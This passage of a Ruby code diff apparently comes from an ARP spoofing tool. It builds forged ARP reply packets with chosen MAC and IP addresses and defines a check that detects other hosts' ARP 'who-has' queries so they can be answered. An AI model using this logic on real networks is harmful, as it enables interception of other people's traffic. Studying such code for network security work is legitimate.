pkt.eth_daddr = dmac
|
331
|
+
pkt.arp_saddr_mac = smac
|
332
|
+
pkt.arp_daddr_mac = dmac
|
333
|
+
pkt.arp_saddr_ip = saddr
|
334
|
+
pkt.arp_daddr_ip = daddr
|
335
|
+
pkt.arp_opcode = 2
|
336
|
+
|
337
|
+
@ctx.packets.push(pkt)
|
338
|
+
end
|
339
|
+
|
340
|
+
# Return true if the +pkt+ packet is an ARP 'who-has' query
|
341
|
+
def is_arp_query?(pkt)
|
342
|
+
# we're only interested in 'who-has' packets from other hosts
|
343
|
+
return ( pkt.arp_opcode == 1 && \
|
344
|
+
pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' && \
|
345
|
+
pkt.arp_src_ip.to_s != @ctx.iface.ip )
|
346
|
+
rescue
|
347
|
+
false
|
348
|
+
end
|
349
|
+
end
|
350
|
+
end
|
351
|
+
end
|